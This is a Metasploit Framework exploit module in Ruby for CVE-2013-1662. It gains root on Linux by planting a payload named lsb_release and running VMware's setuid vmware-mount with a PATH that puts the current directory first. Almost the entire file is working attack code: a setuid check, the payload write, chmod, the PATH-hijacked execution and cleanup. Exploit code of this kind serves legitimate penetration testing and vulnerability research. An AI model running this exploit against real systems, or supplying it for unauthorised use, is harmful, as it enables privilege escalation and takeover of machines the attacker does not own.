metasploit-framework/modules/exploits/linux/local/vmware_mount.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'

class Metasploit4 < Msf::Exploit::Local

  include Msf::Exploit::EXE
  include Msf::Post::Common
  include Msf::Post::File

	def initialize(info={})
		super( update_info( info, {
				'Name'          => 'VMWare Setuid vmware-mount Unsafe popen(3)',
				'Description'   => %q{
					VMWare Workstation (up to and including 9.0.2 build-1031769)
					and Player have a setuid executable called vmware-mount that
					invokes lsb_release in the PATH with popen(3). Since PATH is
					user-controlled, and the default system shell on
					Debian-derived distributions does not drop privs, we can put
					an arbitrary payload in an executable called lsb_release and
					have vmware-mount happily execute it as root for us.
				},
				'License'       => MSF_LICENSE,
				'Author'        =>
					[
						'Tavis Ormandy', # Vulnerability discovery and PoC
						'egypt' # Metasploit module
					],
				'Platform'      => [ 'linux' ],
				'Arch'          => ARCH_X86,
				'Targets'       =>
					[
						[ 'Automatic', { } ],
					],
				'DefaultOptions' => {
					"PrependSetresuid" => true,
					"PrependSetresgid" => true,
					"PrependFork" => true,
				},
				'Privileged'     => true,
				'DefaultTarget' => 0,
				'References' => [
					[ 'CVE', '2013-1662' ],
					[ 'OSVDB', '96588' ],
					[ 'BID', '61966'],
					[ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],
					[ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ]
				],
				'DisclosureDate' => "Aug 22 2013"
			}
			))
	end

  def check
    if setuid?("/usr/bin/vmware-mount")
      CheckCode::Vulnerable
    else
      CheckCode::Safe
    end
  end

  def exploit
    unless check == CheckCode::Vulnerable
      fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
    end

		write_file("lsb_release", generate_payload_exe)

    cmd_exec("chmod +x lsb_release")
    cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
    # Delete it here instead of using FileDropper because the original
    # session can clean it up
    cmd_exec("rm -f lsb_release")
  end

  def setuid?(remote_file)
    !!(cmd_exec("test -u /usr/bin/vmware-mount && echo true").index "true")
  end

end